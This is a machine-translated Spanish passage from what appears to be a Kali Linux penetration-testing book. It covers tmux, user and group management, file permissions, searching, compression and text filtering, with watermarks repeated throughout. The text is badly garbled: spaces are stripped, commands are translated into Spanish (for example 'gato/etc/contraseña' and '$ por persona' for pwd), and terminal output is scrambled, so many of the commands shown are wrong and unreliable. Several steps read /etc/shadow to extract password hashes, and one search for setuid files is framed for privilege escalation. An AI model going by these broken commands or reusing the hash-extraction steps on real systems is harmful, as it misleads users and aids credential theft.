Tmux es una ventana de terminal particular que le permite administrar varias
ventanas en su sesión de terminal actual. La mejor manera de explicarlo es a través
de ejemplos.
Inicio de Tmux
Para iniciar Tmux, simplemente escriba Tmux en la ventana de su
terminal.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 1.1 TmuxNewWindow
¿Y qué? Digamos que está en un compromiso y desea ejecutar Nma en una
ventana, además de ejecutar Metasploit en otra, y pronto. Aquí es donde
Tmu es útil, porque puede trabajar en varias ventanas/sesiones al mismo tiempo.
TmuxKeyBindings
En Tmux, debe usar Ctrl+B para indicarle que desea ejecutar una acción (comando)
de Tmux. De hecho, la combinación de teclas Ctrl+Bis es la predeterminada. Siempre
puede cambiar las configuraciones predeterminadas de Tmux en el archivo de configuración.
Para cambiar este comportamiento y asignar Ctrl+A en lugar de Ctrl+B,
entonces debe crear el archivo de configuración usted mismo por
primera vez. Para hacer el trabajo, tiene dos opciones para crear un
, . thekeybindingsinit):
archivo de configuración en Tmux
.
root@kali:/#touch/etc/tmux.conf root@kali:/
#echounbindC-b>>/etc/tmux.conf root@kali:/#echoset-gprefixCa>>/etc/tmux.conf root @kali:/#echobindC-asend-prefix>>/etc/tmux.conf
Canal de Telegram : @IRFaraExam
Machine Translated by Google
TmuxSessionManagement
En la Figura 1.1, puede ver que el nombre bash se ha asignado automáticamente a su
sesión actual.
Cambiar nombre de ventana
Para cambiar el nombre de la sesión, presione Ctrl + B primero (o Ctrl + A si realizó los
cambios en los archivos de configuración que hicimos anteriormente). Luego retire los
dedos del teclado y presione la tecla de coma (,) en su teclado.
(renombrar-ventana)Ventana1
Creación de ventana
En esta etapa, solo tenemos una ventana, vamos a crear una segunda presionando
Ctrl+Band y luego presionando la tecla C. Mirando la parte inferior, verá que tiene una
nueva ventana bash, y Tmux ya ha resaltado la pestaña actual con un asterisco (*),
como se muestra en la Figura 1.2.
Figura 1.2 Nueva pestaña resaltada de Tmux
Canal de Telegram : @IRFaraExam
Machine Translated by Google
DividirVentanas
Para dividir la pestaña seleccionada en dos subventanas una al lado de la otra, como se
muestra en la Figura 1.3, debe presionar
Ctrl+Bandluegoingresarelcarácter%ensuteclado(recuerdequedebepresionarMayús+%o,de lo
contrario, se considerará 5 en su teclado).
Figura 1.3 TmuxVerticalWindowsSidebySide
NavegaciónInteriorTmux
Asombroso, ¿verdad? Como puede ver, el cursor se encuentra en el panel derecho (vea la Figura 1.3).
Para alternar entre paneles (subventanas), presione Ctrl+B y use las teclas de flecha en su
teclado (para cambiar a la izquierda, derecha, arriba y abajo).
A continuación, regrese a la sesión de la Ventana 1. Para alternar entre ventanas,
presione Ctrl+B y luego el número de la ventana (que es 0 según este ejemplo), y
deberíamos volver a la primera ventana.
Ahora, divida la ventana en dos secciones, una sobre la otra, como se muestra en la
Figura 1.4. Para hacer esto, use Ctrl+Band, luego las comillas dobles (").
Recuerde que debe presionar Mayús+“o, de lo contrario, esa tecla produce una comilla
simple.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 1.4 TmuxHorizontalWindows
El consejo final para administrar Tmux es para desplazarse hacia arriba y
hacia abajo dentro de una ventana o una sesión de panel. De hecho, no puede
usar el mouse para desplazarse hacia arriba y hacia abajo en una sesión de
Tmux (el desplazamiento del mouse es para el historial de comandos).
Para cerrar una ventana nueva, simplemente use exit como con cualquier sesión normal de
ventana de terminal.
TmuxCommandsReference
La Tabla 1.1 resume todos los comandos Tmux que aprendió en esta sección.
Puede usar una referencia (esta es solo una guía rápida para que pueda comenzar
a usar Tmux; si desea ir más allá de lo básico, consulte la referencia manual).
Table1.1 Atajos de teclado Tmux
DESCRIPCIÓN
MANDO
Ventana Torenamea
Ctrl+B+,
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Paraabrirunanuevaventana
Ctrl+B+C
Para dividir ventanas verticalmente Ctrl+B+%
Para dividir la ventana horizontalmente Ctrl+B+"
Para navegar por las subventanas
Ctrl+B+Flecha izquierda,Ctrl+B+Flecha derecha
Para cambiar entre ventanas Ctrl+B+[número de ventana]
Desplazarse hacia arriba
Ctrl+B+[+flecha arriba
Desplazarse hacia abajo
Ctrl+B+[+flecha abajo
Para escapar del modo de desplazamiento Esc
Paracerrarpanel/ventana
Escriba salir (dentro de él)
Administración de usuarios y grupos en Kali
Comprenderloscomandosparaadministrarusuariosygruposesimportante
porque utilizará la información cuando se entere de la escalada de privilegios
más adelante en el libro. Todos los comandos en este capítulo le ayudarán mucho en su
compromisos mientras usa KaliLinux (como un sistema operativo para sus pruebas de penetración).
La figura 1.5 resume todos los comandos relacionados con la administración/seguridad de los usuarios
en KaliLinux.
UsuariosComandos
Los usuarios con privilegios bajos deben anteponer los comandos con sudo para ejecutar el sistema
comandos (y el usuario con privilegios bajos debe estar en el grupo sudo para ejecutar
sudo ). Se le pedirá la contraseña de su cuenta si desea utilizar el sudo
comando. Por ejemplo, si desea ejecutar la herramienta del sistema fdisk para mostrar
los dispositivos conectados a Kali, use el siguiente comando:
raíz @ kali: ~ # fdisk-l
Disco/dev/sda:80GiB,85899345920bytes,167772160sectores
Modelo de disco:VMwareVirtualS
Unidades: sectores de 1512* = 512 bytes
Tamaño del sector (lógico/físico): 512 bytes/512 bytes
I/Osize (mínimo/óptimo): 512 bytes/512 bytes
Tipo de etiqueta de disco:dos
Identificador de disco: 0x7c02676c
Dispositivo
Arranque/dev/sda1*
StartEndSectorsSizeIdType
204816577126316576921679G83Linux
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Machine Translated by Google
Figura 1.5 KaliLinuxOSSecurityCommands
Para agregar un nuevo usuario a Kali (en este ejemplo, Gu va a ser el usuario), use el comando
useradd . Junto con él, debe elegir el grupo sudo con la opción ÿG y el tipo de shell con la opción ÿs :
$useradd-m[nombre de usuario]-G[nombre de grupo]-s[tipo de shell]
Para nuestro ejemplo, se ve así:
root@kali:~#useradd-mGus-Gsudo-s/bin/bash
A continuación, proporcionemos al nuevo usuario una contraseña mediante el comando passwd :
$contraseña[nombre de usuario-quequierescambiarlacontraseña]
Aquí se muestra cómo se ve en la ventana de la terminal:
root@kali:~#passwdGus
Nueva contraseña:
Vuelva a escribir nueva
contraseña: contraseña: contraseña actualizada con éxito
Si observa detenidamente la parte superior izquierda, está escrito root@kali ; sé que esto es
confuso, pero la estructura de esta parte tiene el siguiente formato:
nombredeusuario@nombredehost
Para cambiar al nuevo usuario Gus que creamos anteriormente, usamos el comando your
(preste atención a cómo el usuario ha cambiado en el texto de la ventana terminal y se convirtió en
Gus @ kali ):
$su[nombre de usuario–al que desea cambiar]
raíz@kali:~#suGus
Gus@kali:/raíz$
Para conocer las capacidades del usuario actual con el comando sudo , debe ejecutar sudo ÿ l para
obtener la información correcta:
Gus@kali:~$sudo-l
Confiamos en que haya recibido la lección habitual del administrador del sistema local. Por lo
general, se reduce a estas tres cosas:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
#1)Respetarlaprivacidaddelosdemás.
#2) Piense antes de escribir.
#3) Un gran poder conlleva una gran responsabilidad.
[sudo]contraseña de Gus:
Coincidencia de entradas predeterminadas para Gusonkali:
env_reset,mail_badpass,
ruta_segura=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
El usuario Gus puede ejecutar los siguientes comandos en kali:
(TODOS:TODOS)TODOS
Para ver la información del usuario actual, use el comando id :
Gus@kali:~$id
uid = 1001 (Gus) gid = 1001 (Gus) grupos = 1001 (Gus), 27 (sudo)
Para enumerar los usuarios conectados actualmente, use w o who (con menos detalles):
Gus@kali:~$w
10:44:06up19min,1usuario,promedio de carga:0.00,0.00,0.00
TTY
roottty7/usr/lib/x
USUARIO
Gus@kali:~$quien
roottty7
PCU
PCPUQUÉ
INICIAR
SESIÓN@IDLE10:2419:552.36s2.36s
DESDE
:0
2020-09-2210:24(:0)
Para eliminar un usuario (el usuario que eliminaremos en este ejemplo es test ), ejecute
el comando userdel :
$usuariodel[nombredeusuario–quequiereseliminar]
Gus@kali:~$suduserdeltest
Para enumerar los últimos usuarios registrados en el sistema Kali, configure el último comando:
Gus@kali: ~ $ último
roottty7loggedin
:0
marsep2210:24todavía
reiniciando
systemboot5.7.0-kali1-amd6TueSep2210:24todavía
raíz
tty8
:1
marsep2210: 21-10: 23
(00:02)
Canal de Telegram : @IRFaraExam
Machine Translated by Google
veces
pts/1
tmux(1793).%0
lunsep2112: 16-10: 23
(22:07)
veces
pts/2
tmux(1584).%0
lunsep2111: 48-11: 48
tty7
:0
lunsep2110:50-10:23
(00:00)
tiempos (23:33)
reiniciar
systemboot5.7.0-kali1-amd6MonSep2110:50-10:23
(23:33)
tty7
:0
LunJul2713:36-15:56
tiempos (02:20)
reiniciar
systemboot5.7.0-kali1-amd6MonJul2713:36-15:57
(02:20)
veces
tty7
(00:05)
reiniciar
systemboot5.7.0-kali1-amd6MonJul2713:30-15:57
(02:26)
veces
tty7
(00:02)
reiniciar
systemboot5.7.0-kali1-amd6MonJul2713:28-15:57
:0
lunjul2713:31-accidente
:0
MonJul2713: 28-choque
(02:28)
wtmpbeginsMonJul2713:28:092020
Por último, tenga en cuenta que todos los usuarios de Kalia se restauran en un archivo de configuración,
/etc/contraseña . Use el comando cat para revelar su contenido:
Gus@kali:~$gato/etc/contraseña
raíz:x:0:0:raíz:/raíz:/bin/bash
demonio:x:1:1:demonio:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
El comando anterior enumerará todos los usuarios, incluso los del sistema (el ejemplo
solo muestra los primeros tres). Para filtrar el contenido y limitar los resultados para el
usuarioshumanos,canalizarlasalidautilizando | comando grep :
Gus@kali: ~ $ gato/etc/contraseña | grep "/bin/bash"
raíz:x:0:0:raíz:/raíz:/bin/bash
postgres:x:119:124:administrador de
PostgreSQL,,,:/var/lib/postgresql:/bin/bash
tiempos:x:1000:1000:tiempos,,,:/inicio/tiempos:/bin/bash
Gus:x:1001:1001::/home/Gus:/bin/bash
GruposComandos
Para agregar un nuevo grupo en KaliLinux, use el comando groupadd :
Canal de Telegram : @IRFaraExam
Machine Translated by Google
$groupadd[nombre del nuevo grupo]
Gus@kali:~$sudogroupaddhackers
Para unir un usuario (que es Gus para este ejemplo) al grupo de hackers que creamos
anteriormente, ejecute el comando usermod :
$usermod-aG[nombre de grupo][nombre de usuario]
Gus@kali:~$sudousermod-aGhackersGus
Para obtener una lista de todos los grupos creados en Kali Linux, abra el archivo /etc/group .
Nuevamente, use el comando cat para hacer el trabajo (el siguiente ejemplo muestra solo los tres
primeros):
Gus@kali:~$cat/etc/group root:x:0:
daemon:x:1: bin:x:2: […]
hackers:x:1002:Gus
Administración de contraseñas en Kali
Probablemente desee recuperar su usuario raíz como en los viejos tiempos. Para recuperar esta
cuenta, primero deberá establecer su contraseña. Para cambiar una contraseña de usuario, debe
usar el comando passwd :
Gus@kali:~$sudopasswdroot
Nueva contraseña:
Vuelva a escribir nueva
contraseña: contraseña: contraseña actualizada con éxito
Ahora, para usar la poderosa cuenta raíz, debe usar el comando su para cambiar de usuario:
Gus@kali:~$sudosuroot root@kali:/
home/Gus#
A partir de ahora, en la pantalla de inicio de sesión, puede elegir su cuenta raíz en lugar de su
usuario no raíz.
Finalmente, para enumerar todas las credenciales de usuario en KaliLinux, puede revelarlas en el
archivo /etc/shadow . Use el comando grep para obtener las credenciales de usuario para Gus:
root@kali:/#cat/etc/shadow|grep"Gus"
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Gus: $ 6 $ Hb.QBfIoaCBTiqK $ EUJ4ZdWmbsFqHMsPbMEz2df6FtWVf4J/tMulxCoLQmfMlVWyqpMUHBG
Simplifiquemos lo que tienes que hacer para pararte desde la cuerda.
En segundo lugar, $6$ significa que la contraseña se ha borrado mediante SHA-512. Por último,
la contraseña hash comienza después de $6$ y justo antes del delimitador::
Hb.QBfIoaCBTiqK$EUJ4ZdWmbsFqHMsPbMEz2df6FtWVf4J/tMulxCoLQmfMlVWyqpMUHBGmHFulRk
Gestión de archivos y carpetas en Kali Linux
Su próximo desafío en el sistema operativo Linux es aprender a administrar
archivos y carpetas. Al final de esta sección, comenzará a usar los archivos y
directorios en Kali como los profesionales.
Mostrar archivos y carpetas
Para enumerar los archivos y las subcarpetas dentro de cualquier
directorio, use el comando ls para hacer el trabajo (yo uso ital para
obtener una salida más simple ).
root@kali:~#ls
EscritorioDocumentosDescargasMúsicaImágenesPúblicoPlantillasVídeos root@kali:~#ls-la
total144 drwx------14rootroot4096Sep2210:24. drwxr-xr-x19rootroot36864Jul2715:41..
-rw------- 1rootroot155Sep2210:23.bash_history -rw-r--r-1rootroot570Jul1817:08.bashrc drwx------ 6rootroot4096Sep2211:21.cache
drwxr-xr-x 8rootroot4096Sep2210:22.config drwxr-xr-x
2rootroot4096Sep2210:21Escritorio -rw-r--r-- 1rootroot55Sep2210:21.dmrc
drwxr-xr-x 2rootroot4096Sep2210:21Documentos drwxr-xr-x
2rootroot4096Sep2210:21Descargas -rw-r16root2-7-ul1-7 .face lrwxrwxrwx
1rootroot11Jul2713:22.face.icon->/root/.face
Canal de Telegram : @IRFaraExam
Machine Translated by Google
drwx------ 3rootroot4096Sep2210:24.gnupg -rw------1rootroot306Sep2210:24.ICEauthority drwxr-xr-x
3rootroot4096Sep2210:21.local drwxr-xr-x 2rootroot4096Sep2210:21Música
drwxr-xr-x 2Seproot4209 :21Imágenes -rw-r--r-- 1rootroot148Jul1817:08.profile
drwxr-xr-x 2rootroot4096Sep2210:21Público drwxr-xr-x
2rootroot4096Sep2210:21Plantillas drwxr-xr-x 2rootroot4096Sep2210:21Video1s
-rw98 :24.Xauthority -rw------- 1rootroot5961Sep2210:24.xsession-errors
-rw------- 1rootroot6590Sep2210:23.xsession-errors.old root@kali:~#
Tenga en cuenta que los nombres de archivos que comienzan con un carácter
antes de sus nombres significan que están ocultos (por ejemplo, .bash_history ).
Además, en el extremo izquierdo antes de los permisos, la letra d significa que
es un directorio y no un archivo.
$ls-la[destinationdirectorypath]
permisos
Para los permisos, el mismo principio se aplica a un archivo o directorio.
Para simplificarlo, los permisos se dividen en tres categorías:
Leer ( r ): 4
Escribir ( w ): 2
Ejecutar( x ):1
La plantilla de permisos aplica el siguiente patrón:
[Usuario:r/w/x][grupo:r/w/x][todos:r/w/x]
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 1.6 KaliLinux : comandos de archivos y carpetas
Veamos un ejemplo práctico. Digamos que creó un script de shell simple que
imprime "prueba" ( usando el comando echo ) y que quería mostrar sus permisos
(tenga en cuenta que este ejemplo usa el usuario raíz dentro de la ventana de la
terminal):
root @ kali: # echo'echotest '> test.sh root kali: # ls-la |
grep'test.sh' -rw-r - r - 1rootroot10Sep2211: 25test.sh
root kali: #
De los resultados de salida anteriores, puede ver lo siguiente:
Para el usuario raíz, puede leer y escribir debido a rw al principio.
Para el grupo raíz, solo pueden leer este archivo.
Para todos los demás en el sistema, solo pueden leer bien.
Digamos que desea ejecutar este archivo, ya que usted es quien lo creó y es el
maestro raíz. ¿Cree que podrá hacerlo (de acuerdo con los permisos anteriores
para el usuario raíz)?
root@kali:~#./test.sh bash:./
test.sh:Permiso denegado
PROPINA
El punto en el ejemplo anterior significa el directorio actual.
De hecho, la raíz no tiene permiso para ejecutarlo, ¿verdad? Para
cambiar los permisos del archivo anterior según la fórmula ( r = 4, w = 2 y x = 1), use
esto:
Usuario:4+2+1=7; Grupo: 4+2+1=7; Todos: 4
Luego, use el comando chmod para hacer el trabajo (esta vez, debería poder
ejecutar el script de Shell):
$chmod[números de permisos][nombre de archivo]
raíz @ kali: # chmod774test.sh raíz kali: # lsla | grep'test.sh '
Canal de Telegram : @IRFaraExam
Machine Translated by Google
-rwxrwxr--1rootroot10Sep2211:25test.sh root@kali:~#./test.sh prueba
root@kali:~#
Hay otro atajo para esto, que permite la ejecución de un archivo en lugar de calcular los números
de cada uno. Solo necesitamos agregar +x al comando chmod (pero tenga cuidado porque
cuando ejecute este, también le estará dando el permiso de ejecución a todos):
$chmod+x[nombre de archivo]
root @ kali: ~ # chmod + xtest.sh root @ kali: l
# ls-la | grep'test.sh '-rwxrwxr-x1rootroot10Sep2211:
25test.sh
manipulación de archivos en Kali
Para crear simplemente un archivo vacío en Linux, puede usar el comando táctil :
$tocar[nuevoarchivo]
Para insertar texto rápidamente en un archivo, puede usar el comando echo . Más adelante
en este capítulo, aprenderá a editar archivos de texto con un editor de texto:
$echo'texttoadd'>[nombre de archivo]
Para conocer un tipo de archivo en un sistema Linux, debe usar el comando de archivo :
$archivo[nombre de archivo]
Reúnamos todos los comandos en la ventana de la terminal:
root@kali:~#touchtest.txt
root@kali:~#echotest>test.txt root@kali:~#filetest.txt
test.txt:ASCIItext
Para copiar un archivo en Kali, debe usar el comando cp para hacer el trabajo:
$cp[ruta del archivo de origen][ruta del archivo de destino]
root@kali:~#cptest.txt/home/kali root@kali:~#ls/home/kali
prueba.sh
DesktopDownloadsMusicPublicDocumentsls_file.txtPicturesTemplatestest.txt
Canal de Telegram : @IRFaraExam
Vídeos
Machine Translated by Google
Para mover un archivo que sea equivalente a cortar en el sistema operativo Windows, debe usar el
comando mv :
$mv[ruta del archivo de origen][ruta del archivo de destino]
root@kali:~#mvtest.txtDocumentos/
root@kali:~#lsDocumentos/ prueba.txt
Para eliminar el archivo que acabamos de copiar antes en el directorio principal de Kali , use el
comando rm :
$rm[rutadelarchivo–quequiereseliminar] root@kali:~#rm/home/
kali/test.txt
Para cambiar el nombre del archivo anterior, usamos el mismo comando mv que usamos para mover un
archivo:
$mv[nombre de archivo original][nuevo nombre de archivo]
root@kali:~/Documents#mvtest.txthello.txt root@kali:~/Documents#ls
hello.txt
BuscandoArchivos
Hay varias formas de buscar archivos en Kali; las tres más comunes son los comandos de
localización y qué
.
, encontrar
,
Puede utilizar el comando de localización para localizar un archivo que esté buscando rápidamente.
Debe saber que el comando de localización almacena sus datos en una base de datos, de
modo que cuando busque, encontrará los resultados más rápido.
Primero, necesitará actualizar la base de datos para el comando de localización mediante el
comando updatedb :
$actualizadob
Ahora, puede comenzar a buscar usando el comando de localización:
$locate[nombre de archivo]
root@kali:/#locatetest.sh /home/kali/
test.sh /usr/share/doc/socat/examples/
readline-test.sh /usr/share/doc/socat/examples/test .sh
Puede usar el interruptor ÿn para el comando de localización para filtrar el número de
Canal de Telegram : @IRFaraExam
Machine Translated by Google
resultados de salida. Esta opción es práctica si usted sabe que los resultados serán
enorme:
$locate-n[i][searchfilecriteria] root@kali:/#locate*.confn3 /etc/adduser.conf /etc/ca-certificates.conf /etc/
debconf.conf
PROPINA
Use el comando grep para obtener resultados más granulares.
Para encontrar una ruta de aplicación, use el comando which . Este comando usará la variable
de entorno $ PATH para encontrar los resultados que está buscando. Como ejemplo, para
encontrar dónde está instalado Python, puede hacer lo siguiente:
$que[nombre de la aplicación]
root@kali:/#quepython/usr/bin/python
Es importante comprender que un sistema Linux usará $PATH para ejecutar binarios.
Si su unidad está en la ventana de terminal, mostrará todos los directorios donde debe
guardar sus programas/scripts (si desea ejecutarlos sin especificar su ruta):
root@kali:/#$PATH bash:/
usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:
El fichero o directorio no existe
Veamosunejemplopráctico; guardé el archivo test.sh en mi directorio de inicio.
Dado que la carpeta de inicio no está en la variable $PATH , esto significa que puedo
ejecutarla solo si especifico la ruta o, de lo contrario, fallará:
root@kali:~#test.sh
bash:test.sh:commandnotfound root@kali:~#./
test.sh prueba
Otro comando útil para encontrar archivos con opciones más flexibles es el comando de
búsqueda. La ventaja de usar la herramienta de búsqueda es que permite agregar filtros
más granulares para encontrar lo que está buscando. Por ejemplo, para encontrar el archivo 1.txt
Canal de Telegram : @IRFaraExam
Machine Translated by Google
bajo el directorio de inicio raíz, use esto:
root@kali:~#buscar/nombre-raíz"archivo1.txt" /root/temp/
archivo1.txt
Supongamos que desea enumerar los archivos grandes (1 GB o más) en su sistema:
root@kali:~#buscar/-tamaño+1G2>/dev/null/proc/kcore
PROPINA
Agregar 2>/dev/null a su comando limpiará los resultados de salida y filtrará los
errores.
El siguiente es un filtro de búsqueda conveniente que busca archivos setuid en Linux
para la escalada de privilegios (aprenderá todos los detalles en el Capítulo 10 , “Linux
PrivilegeEscalation”):
$buscar/-perm-u=s-typef2>/dev/null
Compresión de archivos
Existen múltiples formas (algoritmos de compresión) para comprimir archivos; las que
trataré en esta sección son las extensiones .tar y .zip . , .gz
, ,
.bz2
Aquí está la lista de comandos para comprimir y extraer diferentes tipos de archivos:
TarArchivo
Para comprimir usando tar extensión:
$tarcfcompressed.tarfiles
Para extraer un archivo comprimido:
$ tarxfcomprimido.tar
Archivo Gz
Para crear comprimidos.tar.gz a partir de archivos:
$ tarcfzcompressed.tar.gzfiles
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Para extraer comprimido.tar.gz:
$ tarxfzcomprimido.tar.gz
Para crear un archivo comprimido.txt.gz:
$gzipfile.txt>comprimido.txt.gz
Para extraer comprimido.txt.gz:
$gzip-dcomprimido.txt.gz
Extraigamos el archivo rockyou.txt.gz que viene inicialmente comprimido en Kali:
root@kali:~#gzip-d/usr/share/wordlists/rockyou.txt.gz
Archivo Bz2
Para crear comprimidos.tar.bz2 a partir de archivos:
$ tarcfjcompressed.tar.bz2files
Para extraer comprimido.tar.bz2:
$ tarxfjcomprimido.tar.bz2
Archivo Zip
Paracrearcomprimido.zipdesdearchivos:
$zipcompressed.zipfiles
Para extraer archivos comprimidos.zip:
$descomprimircomprimido.zip
Manipulación de directorios en Kali
Para imprimir el directorio de trabajo actual, debe usar el comando pwd para hacer el trabajo (no mezcle
el comando pwd con el comando passwd ; son dos cosas diferentes):
$ por persona
Para cambiar el directorio de trabajo actual, debe usar el comando cd :
$cd[nuevarutadirectorio]
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Puede usar .. para recorrer un directorio hacia arriba. De hecho, puede agregar todo lo que
desee hasta llegar a la carpeta raíz del sistema, / :
root@kali:~/Documentos#pwd /root/
Documentos root@kali:~/
Documentos#cd../../ root@kali:/#pwd /
Como sugerencia final, para el comando cd , puede usar el carácter ~ para ir directamente al
directorio de inicio de su usuario actual:
$cd~
Para crear un directorio llamado prueba en la carpeta de inicio raíz, use el comando
mkdir :
$mkdir[nombre del nuevo directorio]
Para copiar, mover y renombrar un directorio, use el mismo comando para los
comandos de archivo. A veces debe agregar el interruptor ÿr (que significa recursivo) para
involucrar también a los subdirectorios:
$cp-r[rutadirectorioorigen][rutadirectoriodestino] $mv-r[rutadirectorioorigen]
[rutadirectoriodestino] $mv-r[nombredirectoriooriginal][nombrenuevodirectorio]
Para eliminar una carpeta, debe agregar el modificador ÿr al comando rm para realizar el
trabajo:
$rm-r[carpetaaborrarruta]
Montaje de un directorio
Veamos un ejemplo práctico de cómo montar un directorio dentro de KaliLinux.
Supongamos que insertó una llave USB; luego, es necesario montar un directorio para
acceder al contenido de su unidad USB.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Figura 1.7 Montaje USB
Para montar una unidad USB, siga estos pasos:
1. Muestre la lista de discos mediante el comando lsblk .
2. Cree un nuevo directorio para montar (aquí es donde accederá al
memoria USB).
3. Monte la unidad USB con el comando de montaje .
Figura 1.8 Montaje con la línea de comandos
Ahora, para expulsar la unidad USB, use el comando umount para desmontar el directorio:
root@kali-portátil-hp:~#umount/mnt/usb
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Gestión de archivos de texto en KaliLinux
Saber cómo manejar archivos en Kali Linux es algo que encontrará a
menudo durante sus compromisos. En esta sección, aprenderá acerca de
los comandos más comunes que puede usar para hacer el trabajo.
Hay muchas maneras de mostrar un archivo de texto rápidamente en
la ventana del terminal. El 90 por ciento del tiempo, uso el comando cat
para este propósito . :
, cola ,
root@kali:/usr/share/wordlists#catrockyou.txt|grepgus123 gus123 angus123 gus12345
[…]
El comando head mostrará 10 líneas en un archivo de texto comenzando desde la
parte superior, y puede especificar cuántas líneas desea mostrar agregando la opción ÿn :
$head-n[i][nombre de archivo]
root@kali:/usr/share/wordlists#head-n7rockyou.txt 123456 12345
123456789 contraseña te amo princesa 1234567
El comando tail mostrará las últimas 10 líneas de un archivo, y también puede
especificar el número de líneas usando el modificador ÿn :
$tail-n[i][nombre de archivo]
root@kali:/usr/share/wordlists#tail-n5rockyou.txt
xCvBnM,
es decir,
168
abygurl69
a6_123 * 7!
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Para examinar un archivo grande, use el comando más . Debe presionar Intro o la barra espaciadora del teclado
para avanzar. Al presionar la tecla B, podrá retroceder. Finalmente, para buscar texto, presione / (barra hacia
adelante) y la tecla Q para salir:
$más[nombre de archivo]
less es como el comando more ; le permite ver el contenido de un archivo y navegar dentro
también.
$menos[nombre de archivo]
Para ordenar un archivo de texto, simplemente use el comando ordenar :
$ordenar[nombre de archivo]>[nombre de archivo ordenado]
root@kali:~/temp#catfile1.txt5 6 4
root@kali:~/temp#sortfile1.txt>file1_sorted.txt
root@kali:~/temp#catfile1_sorted.txt4
5
6
Para eliminar duplicados en un archivo de texto, debe usar el comando uniq :
$uniq[nombre de archivo]>[sin nombre de archivo duplicado]
root@kali:~/temp#catfile2.txt
5
64
4
5
5
5
root@kali:~/temp#uniqfile2.txt>file2_uniq.txt root@kali:~/
temp#catfile2_uniq.txt
5
64
Canal de Telegram : @IRFaraExam
Machine Translated by Google
5
Más adelante en este libro, aprenderá a usar los comandos sort y uniq juntos para crear un
archivo de diccionario de contraseñas personalizado.
Vimvs.Nano
Para la ventana terminal, tenemos dos editores de texto populares, viman y nano. La mayoría de las
veces, puede realizar cuatro tareas en los editores de texto:
Abrir/crear el archivo de texto
Hacer cambios de texto
buscartexto
Guardar y Salir
Nano es más fácil que vim. Tú eliges cualquiera de ellos, es una cuestión de preferencia.
Para abrir/crear un archivo de texto, use estos comandos:
$vim[ nombre del archivo de texto ]
$nano[ nombre del archivo de texto ]
Una vez que se abre el archivo de texto, deberá comenzar a realizar sus cambios: Innano,
puede ingresar su texto libremente.
Invim, debe presionar I en su teclado para ingresar al modo de inserción.
Si desea buscar una palabra específica dentro de su archivo, use estos comandos:
Innano, presione Ctrl + W.
Invim, depende del modo en el que estés.
Si está en modo insertar texto, presione la tecla Esc y luego presione / seguido
de la palabra que desea buscar.
Si está en modo normal, simplemente presione / seguido de la palabra que desea
buscar.
Finalmente, es hora de guardar y salir de su editor de texto:
Innano, presione Ctrl+O para guardar, presione la tecla Intro para ejecutar la tarea de guardar
y luego presione Ctrl+X para salir.
Canal de Telegram : @IRFaraExam
Machine Translated by Google
Invim, asegúrese de estar en modo normal primero (si no lo está, presione la tecla Esc
La w es
para volver al modo normal) y luego use :wq .
para “escribir” y la q es para salir.
Búsqueda y filtrado de texto
Una cosa más que aprender en el mundo de los archivos de texto es el mecanismo de búsqueda.
Hay muchas formas de buscar y filtrar texto, pero las más populares son las siguientes:
sujeción
awk
Corte
Me han visto usando mucho el comando grep . Este comando de filtro se desestructura de la siguiente
manera:
$grep[opciones][patrón][nombre de archivo]
Supongamos que desea buscar la palabra contraseña en todos los archivos a partir del sistema raíz
( / ).
root @ kali: / # grep-irl "contraseña" / /boot/grub/
i386-pc/zfscrypt.mod
/boot/grub/i386-pc/normal.mod /boot/
grub/i386-pc/legacycfg.mod
Esto es lo que significan las opciones:
ÿi :Para ignorare incluir todas las mayúsculas/minúsculas ÿr :Para buscar de forma
recursiva dentro de las subcarpetas
ÿl :Para imprimir los nombres de archivo donde el filtro coincide
Como otro ejemplo, supongamos que desea contar el número de ocurrencias de la palabra
contraseña en el archivo de diccionario rockyou.txt :
root@kali:/#cd/usr/share/wordlists/ root@kali:/usr/
share/wordlists#grep-c"contraseña"rockyou.txt 3959
El comando awk es una herramienta avanzada para filtrar archivos de texto y utiliza el siguiente
patrón:
Canal de Telegram : @IRFaraExam
Machine Translated by Google
$awk/[criterios de búsqueda]/[opciones][nombre de archivo]
Por ejemplo, supongamos que desea buscar la raíz de texto dentro del
archivo /etc/ passwd :
root@kali:/#awk'/root/'/etc/passwd root:x:0:0:root:/
root:/bin/bash nm-openvpn:x:125:130:NetworkManager
OpenVPN,,,:/var/lib/openvpn/chroot:/usr/sbin/nologin
Llevemos el desafío un paso más allá. Digamos que desea extraer la
contraseña de la raíz en el archivo /etc/shadow (puede imprimir todo primero
para que pueda visualizar la diferencia del antes y el después):
root@kali:/#awk'/root/'/etc/shadow root:$6$uf2Jy/
R8HS5Tx$Vw1wHuBV7unq1hImYGTJdNrRwMwRtf0yd/aSH0zOhhdzWofAT5WUSduQ
root@kali:/#awk-F':''/root/{print$2}'/etc/shadow $6$uf2Jy/
R8HS5Tx$Vw1wHuBV7unq1hImYGTJdNrRwMwRtf0yd/aSH0zOhhdzWofAT5WUSduQTjWj8
Sabemos que el archivo shadow está usando el delimitador : para separar
las secciones, por lo que usamos ÿF ':' para hacer el trabajo.
Otra forma popular de extraer subcadenas es el comando cut .
root@kali:/#cat/etc/shadow|grep"root"|cut-d":"-f2 $6$uf2Jy/
R8HS5Tx$Vw1wHuBV7unq1hImYGTJdNrRwMwRtf0yd/aSH0zOhhdzWofAT5WUSduQTjWj8
ConexionesRemotasenKali
Hay dos formas comunes de conectarse de forma remota a otros sistemas
operativos. Para Windows, es el Protocolo de escritorio remoto (RDP), y
para Linux, es Secure Shell (SSH).
Protocolo de escritorio remoto
RDP se utiliza para conectarse de forma remota a un sistema operativo Windows. Supongamos que durante
Canal de Telegram : @IRFaraExam
Machine Translated by Google
la participación que encontró es un puerto de escritorio remoto 3389 abierto en un
host de Windows (p. ej., durante la fase de exploración de puertos). Luego, deberá intentar
